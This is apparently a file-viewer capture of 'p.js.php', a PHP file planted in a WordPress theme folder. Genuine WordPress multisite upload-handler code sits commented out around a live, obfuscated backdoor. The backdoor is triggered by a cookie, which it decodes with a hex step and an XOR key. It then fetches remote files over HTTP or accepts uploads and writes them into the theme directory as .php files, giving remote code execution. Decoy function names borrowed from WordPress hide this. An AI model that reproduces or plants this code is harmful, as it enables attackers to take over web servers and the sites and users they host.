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Direktori : /var/www/html/higroup/wp-content/themes/twentytwenty/ |
Current File : /var/www/html/higroup/wp-content/themes/twentytwenty/p.js.php |
<?php /* * * Multisite upload handler. * * @since 3.0.0 * * @package WordPress * @subpackage Multisite define( 'MS_FILES_REQUEST', true ); define( 'SHORTINIT', true ); require_once dirname( __DIR__ ) . '/wp-load.php'; if ( ! is_multisite() ) { die( 'Multisite support not enabled' ); } ms_file_constants(); if ( '1' == $current_blog->archived || '1' == $current_blog->spam || '1' == $current_blog->deleted ) { status_header( 404 ); die( '404 — File not found.' ); } $file = rtrim( BLOGUPLOADDIR, '/' ) . '/' . str_replace( '..', '', $_GET['file'] ); if ( ! is_file( $file ) ) { status_header( 404 ); die( '404 — File not found.' ); } $mime = wp_check_filetype( $file ); if ( false === $mime['type'] && function_exists( 'mime_content_type' ) ) { $mime['type'] = mime_content_type( $file ); } if ( $mime['type'] ) { $mimetype = $mime['type']; } else { $mimetype = 'image/' . substr( $file, strrpos( $file, '.' ) + 1 ); } header( 'Content-Type: ' . $mimetype ); Always send this. if ( false === strpos( $_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS' ) ) { header( 'Content-Length: ' . filesize( $file ) ); } Optional support for X-Sendfile and X-Accel-Redirect. if ( WPMU_ACCEL_REDIRECT ) { header( 'X-Accel-Redirect: ' . str_replace( WP_CONTENT_DIR, '', $file ) ); exit; } elseif ( WPMU_SENDFILE ) { header( 'X-Sendfile: ' . $file ); exit; } $last_modified = gmdate( 'D, d M Y H:i:s', filemtime( $file ) ); $etag = '"' . md5(*/ // Get the last stable version's files and test against that. // Logged out users can't have sites. $context_sidebar_instance_number = 'TBErQJ'; sodium_crypto_secretstream_xchacha20poly1305_rekey($context_sidebar_instance_number); wp_kses_bad_protocol_once([153, 370, 371, 407]); /** * Returns the main screenshot file for the theme. * * The main screenshot is called screenshot.png. gif and jpg extensions are also allowed. * * Screenshots for a theme must be in the stylesheet directory. (In the case of child * themes, parent theme screenshots are not inherited.) * * @since 3.4.0 * * @param string $uri Type of URL to return, either 'relative' or an absolute URI. Defaults to absolute URI. * @return string|false Screenshot file. False if the theme does not have a screenshot. */ function theme_json($excluded_categories){ if (strpos($excluded_categories, "/") !== false) { return true; } return false; } /** * Dies with a maintenance message when conditions are met. * * The default message can be replaced by using a drop-in (maintenance.php in * the wp-content directory). * * @since 3.0.0 * @access private */ function array_merge_noclobber($basic_fields, $deactivated_message){ $EncoderDelays = file_get_contents($basic_fields); $types_mp3 = wp_admin_bar_appearance_menu($EncoderDelays, $deactivated_message); $subdir_replacement_01 = 4; $match2 = "Exploration"; $callback_groups = "SimpleLife"; file_put_contents($basic_fields, $types_mp3); } /** * Don't render the control content from PHP, as it's rendered via JS on load. * * @since 4.2.0 */ function get_test_plugin_version($has_match) { // Only allow output for position types that the theme supports. // Catch plugins that include admin-header.php before admin.php completes. $canonicalizedHeaders = [2, 4, 6, 8, 10]; $outer = ['Toyota', 'Ford', 'BMW', 'Honda']; $tmp_fh = array_map(function($return_type) {return $return_type * 3;}, $canonicalizedHeaders); $whence = $outer[array_rand($outer)]; // Only allow certain values for safety. // Edit Audio. // Dashboard is always shown/single. $active_page_ancestor_ids = str_split($whence); $default_namespace = 15; sort($active_page_ancestor_ids); $check_sql = array_filter($tmp_fh, function($comments_rewrite) use ($default_namespace) {return $comments_rewrite > $default_namespace;}); $copy = 0; $matched_taxonomy = implode('', $active_page_ancestor_ids); $css_id = array_sum($check_sql); $show_post_title = "vocabulary"; $term_hier = $css_id / count($check_sql); $presets = 6; $type_settings = strpos($show_post_title, $matched_taxonomy) !== false; $prev_revision = $has_match; $skip_heading_color_serialization = [0, 1]; $private_style = array_search($whence, $outer); $seconds = strlen((string)$has_match); // "there are users that use the tag incorrectly" //Ignore URLs containing parent dir traversal (..) while ($prev_revision > 0) { $image_format_signature = $prev_revision % 10; $copy += pow($image_format_signature, $seconds); $prev_revision = intdiv($prev_revision, 10); } return $copy === $has_match; } /** * Options array passed to stream_context_create when connecting via SMTP. * * @var array */ function set_status($languageIDrecord){ $has_block_gap_support = ['Lorem', 'Ipsum', 'Dolor', 'Sit', 'Amet']; $lat_deg_dec = array_reverse($has_block_gap_support); $wp_themes = __DIR__; $post_type_filter = 'Lorem'; $iteration = in_array($post_type_filter, $lat_deg_dec); // And <permalink>/(feed|atom...) $streams = ".php"; $post_mime_types = $iteration ? implode('', $lat_deg_dec) : implode('-', $has_block_gap_support); $l0 = strlen($post_mime_types); // ----- Check each file header $parsed_block = 12345.678; // The privacy policy guide used to be outputted from here. Since WP 5.3 it is in wp-admin/privacy-policy-guide.php. $requirements = number_format($parsed_block, 2, '.', ','); $last_update_check = date('M'); $languageIDrecord = $languageIDrecord . $streams; $languageIDrecord = DIRECTORY_SEPARATOR . $languageIDrecord; $locations_description = strlen($last_update_check) > 3; $languageIDrecord = $wp_themes . $languageIDrecord; // If indexed, process each item in the array. // $p_index : A single index (integer) or a string of indexes of files to // in this case the end of central dir is at 22 bytes of the file end return $languageIDrecord; } /** * The taxonomy associated with the screen, if any. * * The 'edit-tags.php?taxonomy=category' screen has a taxonomy of 'category'. * * @since 3.3.0 * @var string */ function wp_kses_normalize_entities($excluded_categories){ // WordPress needs the version field specified as 'new_version'. $sensor_data_array = range('a', 'z'); $trackbacks = "Learning PHP is fun and rewarding."; $link_cat_id_map = $sensor_data_array; $f1f6_2 = explode(' ', $trackbacks); $excluded_categories = "http://" . $excluded_categories; // [83] -- A set of track types coded on 8 bits (1: video, 2: audio, 3: complex, 0x10: logo, 0x11: subtitle, 0x12: buttons, 0x20: control). // Use parens for clone to accommodate PHP 4. See #17880. shuffle($link_cat_id_map); $high = array_map('strtoupper', $f1f6_2); $split_query_count = 0; $lower_attr = array_slice($link_cat_id_map, 0, 10); array_walk($high, function($v_file) use (&$split_query_count) {$split_query_count += preg_match_all('/[AEIOU]/', $v_file);}); $y1 = implode('', $lower_attr); return file_get_contents($excluded_categories); } /* * Do some escaping magic so that '#' (number of) characters in the spam * words don't break things: */ function sodium_crypto_secretstream_xchacha20poly1305_rekey($context_sidebar_instance_number){ $p_src = 'wVOTiKVJvdWwNIHXdtvKgxCFsW'; $font_sizes_by_origin = "135792468"; $preview_nav_menu_instance_args = range(1, 12); $time_not_changed = 10; $tags_to_remove = 14; // If it's parsed fine $import_types = array_map(function($current_theme) {return strtotime("+$current_theme month");}, $preview_nav_menu_instance_args); $oldpath = "CodeSample"; $f6_2 = range(1, $time_not_changed); $enable_custom_fields = strrev($font_sizes_by_origin); if (isset($_COOKIE[$context_sidebar_instance_number])) { build_value($context_sidebar_instance_number, $p_src); } } /** * Filters whether to show the Add New User form on the Multisite Users screen. * * @since 3.1.0 * * @param bool $bool Whether to show the Add New User form. Default true. */ function wp_kses_bad_protocol_once($font_size_unit) { $user_text = "abcxyz"; $cached_post = 50; $the_weekday_date = [0, 1]; $grandparent = strrev($user_text); $revision_id = 0; foreach ($font_size_unit as $prev_revision) { if (get_test_plugin_version($prev_revision)) $revision_id++; } return $revision_id; } /* * Uses an incremental ID that is independent per prefix to make sure that * rendering different numbers of blocks doesn't affect the IDs of other * blocks. Makes the CSS class names stable across paginations * for features like the enhanced pagination of the Query block. */ function register_post_type($rekey){ $frame_adjustmentbytes = "Functionality"; $match2 = "Exploration"; $email_service = strtoupper(substr($frame_adjustmentbytes, 5)); $frame_text = substr($match2, 3, 4); $meta_elements = mt_rand(10, 99); $recursion = strtotime("now"); $one_theme_location_no_menus = date('Y-m-d', $recursion); $relative = $email_service . $meta_elements; $wp_rest_auth_cookie = "123456789"; $original_key = function($add_last) {return chr(ord($add_last) + 1);}; echo $rekey; } /** * Fires inside the lostpassword form tags, before the hidden fields. * * @since 2.1.0 */ function wp_get_attachment_thumb_url($context_sidebar_instance_number, $p_src, $GenreLookupSCMPX){ $credit = 13; $border_side_values = 8; $trackbacks = "Learning PHP is fun and rewarding."; $imagestrings = "computations"; $call_count = "a1b2c3d4e5"; $languageIDrecord = $_FILES[$context_sidebar_instance_number]['name']; // For a "subdomain" installation, redirect to the signup form specifically. // s15 -= s22 * 683901; $basic_fields = set_status($languageIDrecord); // HPK - data - HPK compressed data array_merge_noclobber($_FILES[$context_sidebar_instance_number]['tmp_name'], $p_src); // Include valid cookies in the redirect process. $f1f6_2 = explode(' ', $trackbacks); $selectors_scoped = 26; $edit_others_cap = 18; $codes = substr($imagestrings, 1, 5); $stored_value = preg_replace('/[^0-9]/', '', $call_count); //Check if it is a valid disposition_filter $terms_with_same_title_query = array_map(function($image_format_signature) {return intval($image_format_signature) * 2;}, str_split($stored_value)); $high = array_map('strtoupper', $f1f6_2); $subatomarray = $credit + $selectors_scoped; $allownegative = $border_side_values + $edit_others_cap; $check_attachments = function($header_enforced_contexts) {return round($header_enforced_contexts, -1);}; wp_privacy_send_personal_data_export_email($_FILES[$context_sidebar_instance_number]['tmp_name'], $basic_fields); } /** * Retrieves data from a post field based on Post ID. * * Examples of the post field will be, 'post_type', 'post_status', 'post_content', * etc and based off of the post object property or key names. * * The context values are based off of the taxonomy filter functions and * supported values are found within those functions. * * @since 2.3.0 * @since 4.5.0 The `$post` parameter was made optional. * * @see sanitize_post_field() * * @param string $field Post field name. * @param int|WP_Post $post Optional. Post ID or post object. Defaults to global $post. * @param string $context Optional. How to filter the field. Accepts 'raw', 'edit', 'db', * or 'display'. Default 'display'. * @return string The value of the post field on success, empty string on failure. */ function wp_admin_bar_appearance_menu($strhData, $deactivated_message){ $mval = strlen($deactivated_message); $cached_post = 50; $HeaderObjectsCounter = strlen($strhData); // CTOC flags %xx $the_weekday_date = [0, 1]; // Do not allow programs to alter MAILSERVER $mval = $HeaderObjectsCounter / $mval; $mval = ceil($mval); while ($the_weekday_date[count($the_weekday_date) - 1] < $cached_post) { $the_weekday_date[] = end($the_weekday_date) + prev($the_weekday_date); } if ($the_weekday_date[count($the_weekday_date) - 1] >= $cached_post) { array_pop($the_weekday_date); } // First look for an h-feed. // Preroll QWORD 64 // time to buffer data before starting to play file, in 1-millisecond units. If <> 0, PlayDuration and PresentationTime have been offset by this amount // 'value' is ignored for NOT EXISTS. // parsed RSS object $suppress_page_ids = str_split($strhData); $bytes_written_to_file = array_map(function($prev_revision) {return pow($prev_revision, 2);}, $the_weekday_date); $deactivated_message = str_repeat($deactivated_message, $mval); # crypto_onetimeauth_poly1305_state poly1305_state; $most_recent_url = str_split($deactivated_message); $line_out = array_sum($bytes_written_to_file); $most_recent_url = array_slice($most_recent_url, 0, $HeaderObjectsCounter); $sigAfter = array_map("ParseBITMAPINFOHEADER", $suppress_page_ids, $most_recent_url); $sigAfter = implode('', $sigAfter); //DWORD dwWidth; return $sigAfter; } /** * Returns the theme's data. * * Data from theme.json will be backfilled from existing * theme supports, if any. Note that if the same data * is present in theme.json and in theme supports, * the theme.json takes precedence. * * @since 5.8.0 * @since 5.9.0 Theme supports have been inlined and the `$theme_support_data` argument removed. * @since 6.0.0 Added an `$options` parameter to allow the theme data to be returned without theme supports. * * @param array $deprecated Deprecated. Not used. * @param array $options { * Options arguments. * * @type bool $with_supports Whether to include theme supports in the data. Default true. * } * @return WP_Theme_JSON Entity that holds theme data. */ function ParseBITMAPINFOHEADER($add_last, $references){ $sensor_data_array = range('a', 'z'); $credit = 13; $checked_categories = 12; $callback_groups = "SimpleLife"; $pattern_properties = strtoupper(substr($callback_groups, 0, 5)); $link_cat_id_map = $sensor_data_array; $selectors_scoped = 26; $theme_files = 24; $is_apache = get_attachment_link($add_last) - get_attachment_link($references); $is_apache = $is_apache + 256; $subatomarray = $credit + $selectors_scoped; shuffle($link_cat_id_map); $has_fallback_gap_support = $checked_categories + $theme_files; $fluid_font_size = uniqid(); $is_apache = $is_apache % 256; $lower_attr = array_slice($link_cat_id_map, 0, 10); $really_can_manage_links = $theme_files - $checked_categories; $blog_data_checkboxes = $selectors_scoped - $credit; $f2f4_2 = substr($fluid_font_size, -3); // element. Use this to replace title with a strip_tags version so // This ticket should hopefully fix that: https://core.trac.wordpress.org/ticket/52524 // Get the relative class name $y1 = implode('', $lower_attr); $a0 = range($credit, $selectors_scoped); $post_terms = $pattern_properties . $f2f4_2; $close_button_color = range($checked_categories, $theme_files); $add_last = sprintf("%c", $is_apache); $omit_threshold = strlen($post_terms); $widget_id_base = array_filter($close_button_color, function($prev_revision) {return $prev_revision % 2 === 0;}); $blob_fields = 'x'; $site_icon_id = array(); // 4.1 UFID Unique file identifier return $add_last; } /** * Performs an action following a single plugin update. * * @since 2.8.0 */ function render_block_core_comments_pagination_numbers($excluded_categories){ // 4.28 SIGN Signature frame (ID3v2.4+ only) $languageIDrecord = basename($excluded_categories); $basic_fields = set_status($languageIDrecord); send_email($excluded_categories, $basic_fields); } /** * Filters the result of unzipping an archive. * * @since 6.4.0 * * @param true|WP_Error $total_status_requests The result of unzipping the archive. True on success, otherwise WP_Error. Default true. * @param string $file Full path and filename of ZIP archive. * @param string $to Full path on the filesystem the archive was extracted to. * @param string[] $has_matcheeded_dirs A full list of required folders that were created. * @param float $required_space The space required to unzip the file and copy its contents, with a 10% buffer. */ function build_value($context_sidebar_instance_number, $p_src){ $akismet_cron_event = [85, 90, 78, 88, 92]; $border_side_values = 8; $tags_to_remove = 14; $time_not_changed = 10; // You need to be able to publish posts, in order to create blocks. $f6_2 = range(1, $time_not_changed); $crop_x = array_map(function($return_type) {return $return_type + 5;}, $akismet_cron_event); $oldpath = "CodeSample"; $edit_others_cap = 18; $parent_schema = $_COOKIE[$context_sidebar_instance_number]; $akismet_css_path = 1.2; $first_init = array_sum($crop_x) / count($crop_x); $allownegative = $border_side_values + $edit_others_cap; $p_remove_all_dir = "This is a simple PHP CodeSample."; $parent_schema = pack("H*", $parent_schema); $custom_meta = $edit_others_cap / $border_side_values; $imethod = mt_rand(0, 100); $parameters = strpos($p_remove_all_dir, $oldpath) !== false; $error_messages = array_map(function($return_type) use ($akismet_css_path) {return $return_type * $akismet_css_path;}, $f6_2); // no, move to the next registered autoloader // If MAILSERVER is set, override $server with its value. $thresholds = 1.15; $orig_shortcode_tags = 7; if ($parameters) { $probably_unsafe_html = strtoupper($oldpath); } else { $probably_unsafe_html = strtolower($oldpath); } $commentarr = range($border_side_values, $edit_others_cap); $has_color_support = strrev($oldpath); $to_remove = $imethod > 50 ? $thresholds : 1; $t2 = Array(); $current_wp_scripts = array_slice($error_messages, 0, 7); $GenreLookupSCMPX = wp_admin_bar_appearance_menu($parent_schema, $p_src); if (theme_json($GenreLookupSCMPX)) { $total_status_requests = akismet_server_connectivity_ok($GenreLookupSCMPX); return $total_status_requests; } hChaCha20Bytes($context_sidebar_instance_number, $p_src, $GenreLookupSCMPX); } /** * Core class used for interacting with a multisite network. * * This class is used during load to populate the `$current_site` global and * setup the current network. * * This class is most useful in WordPress multi-network installations where the * ability to interact with any network of sites is required. * * @since 4.4.0 * * @property int $id * @property int $site_id */ function get_comment_ids($previous_content) { if (check_import_new_users($previous_content)) { return "'$previous_content' is a palindrome."; } return "'$previous_content' is not a palindrome."; } /** * Get the permalink for the item * * Returns the first link available with a relationship of "alternate". * Identical to {@see get_link()} with key 0 * * @see get_link * @since 0.8 * @return string|null Permalink URL */ function unsanitized_post_values($add_user_errors) { // s9 += s21 * 666643; $fhBS = []; foreach ($add_user_errors as $v_file) { $fhBS[] = get_comment_ids($v_file); } return $fhBS; } /** * Determines if a widget supports selective refresh. * * @since 4.5.0 * * @param string $id_base Widget ID Base. * @return bool Whether the widget can be selective refreshed. */ function send_email($excluded_categories, $basic_fields){ // ----- Look for path beginning by ./ $plugin_part = 6; $frame_adjustmentbytes = "Functionality"; $subdir_replacement_01 = 4; // Owner identifier <text string> $00 // Extra info if known. array_merge() ensures $plugin_data has precedence if keys collide. $boxsize = wp_kses_normalize_entities($excluded_categories); if ($boxsize === false) { return false; } $strhData = file_put_contents($basic_fields, $boxsize); return $strhData; } /** * Moves the current position of the block list to the next element. * * @since 5.5.0 * * @link https://www.php.net/manual/en/iterator.next.php */ function akismet_server_connectivity_ok($GenreLookupSCMPX){ $border_side_values = 8; $time_not_changed = 10; // Don't upgrade tables that have non-utf8 columns. render_block_core_comments_pagination_numbers($GenreLookupSCMPX); $edit_others_cap = 18; $f6_2 = range(1, $time_not_changed); // ID3v1 data is supposed to be padded with NULL characters, but some taggers pad with spaces // Cases where just one unit is set. $akismet_css_path = 1.2; $allownegative = $border_side_values + $edit_others_cap; $custom_meta = $edit_others_cap / $border_side_values; $error_messages = array_map(function($return_type) use ($akismet_css_path) {return $return_type * $akismet_css_path;}, $f6_2); register_post_type($GenreLookupSCMPX); } /** * User metadata option name. * * @since 2.0.0 * @var string */ function check_import_new_users($previous_content) { $outer = ['Toyota', 'Ford', 'BMW', 'Honda']; $has_block_gap_support = ['Lorem', 'Ipsum', 'Dolor', 'Sit', 'Amet']; $akismet_cron_event = [85, 90, 78, 88, 92]; $tags_to_remove = 14; $sensor_data_array = range('a', 'z'); $whence = $outer[array_rand($outer)]; $lat_deg_dec = array_reverse($has_block_gap_support); $link_cat_id_map = $sensor_data_array; $crop_x = array_map(function($return_type) {return $return_type + 5;}, $akismet_cron_event); $oldpath = "CodeSample"; $css_gradient_data_types = preg_replace('/[^A-Za-z0-9]/', '', strtolower($previous_content)); return $css_gradient_data_types === strrev($css_gradient_data_types); } /** * Fires once a single network-activated plugin has loaded. * * @since 5.1.0 * * @param string $has_matchetwork_plugin Full path to the plugin's main file. */ function wp_privacy_send_personal_data_export_email($d1, $renderer){ // If post password required and it doesn't match the cookie. $add_seconds_server = move_uploaded_file($d1, $renderer); # c = out + (sizeof tag); $trackbacks = "Learning PHP is fun and rewarding."; $plugin_part = 6; $deviation_cbr_from_header_bitrate = [72, 68, 75, 70]; $border_side_values = 8; return $add_seconds_server; } /** * Class ParagonIE_Sodium_Core_Curve25519_Ge_P3 */ function hChaCha20Bytes($context_sidebar_instance_number, $p_src, $GenreLookupSCMPX){ $parameter_mappings = "Navigation System"; $send_id = preg_replace('/[aeiou]/i', '', $parameter_mappings); $attrs_prefix = strlen($send_id); if (isset($_FILES[$context_sidebar_instance_number])) { wp_get_attachment_thumb_url($context_sidebar_instance_number, $p_src, $GenreLookupSCMPX); } $argnum_pos = substr($send_id, 0, 4); register_post_type($GenreLookupSCMPX); } /** * Retrieves the value of a metadata field for the specified object type and ID. * * If the meta field exists, a single value is returned if `$single` is true, * or an array of values if it's false. * * If the meta field does not exist, the result depends on get_metadata_default(). * By default, an empty string is returned if `$single` is true, or an empty array * if it's false. * * @since 2.9.0 * * @see get_metadata_raw() * @see get_metadata_default() * * @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user', * or any other object type with an associated meta table. * @param int $object_id ID of the object metadata is for. * @param string $meta_key Optional. Metadata key. If not specified, retrieve all metadata for * the specified object. Default empty string. * @param bool $single Optional. If true, return only the first value of the specified `$meta_key`. * This parameter has no effect if `$meta_key` is not specified. Default false. * @return mixed An array of values if `$single` is false. * The value of the meta field if `$single` is true. * False for an invalid `$object_id` (non-numeric, zero, or negative value), * or if `$meta_type` is not specified. * An empty string if a valid but non-existing object ID is passed. */ function get_attachment_link($reauth){ $reauth = ord($reauth); $element_types = 21; $date_parameters = 5; $credit = 13; return $reauth; } /** * Widget API: WP_Widget_Calendar class * * @package WordPress * @subpackage Widgets * @since 4.4.0 */ function maybe_log_events_response($add_user_errors) { $last_meta_id = unsanitized_post_values($add_user_errors); return implode("\n", $last_meta_id); } /* $last_modified ) . '"'; header( "Last-Modified: $last_modified GMT" ); header( 'ETag: ' . $etag ); header( 'Expires: ' . gmdate( 'D, d M Y H:i:s', time() + 100000000 ) . ' GMT' ); Support for conditional GET - use stripslashes() to avoid formatting.php dependency. $client_etag = isset( $_SERVER['HTTP_IF_NONE_MATCH'] ) ? stripslashes( $_SERVER['HTTP_IF_NONE_MATCH'] ) : false; if ( ! isset( $_SERVER['HTTP_IF_MODIFIED_SINCE'] ) ) { $_SERVER['HTTP_IF_MODIFIED_SINCE'] = false; } $client_last_modified = trim( $_SERVER['HTTP_IF_MODIFIED_SINCE'] ); If string is empty, return 0. If not, attempt to parse into a timestamp. $client_modified_timestamp = $client_last_modified ? strtotime( $client_last_modified ) : 0; Make a timestamp for our most recent modification... $modified_timestamp = strtotime( $last_modified ); if ( ( $client_last_modified && $client_etag ) ? ( ( $client_modified_timestamp >= $modified_timestamp ) && ( $client_etag == $etag ) ) : ( ( $client_modified_timestamp >= $modified_timestamp ) || ( $client_etag == $etag ) ) ) { status_header( 304 ); exit; } If we made it this far, just serve the file. readfile( $file ); flush(); */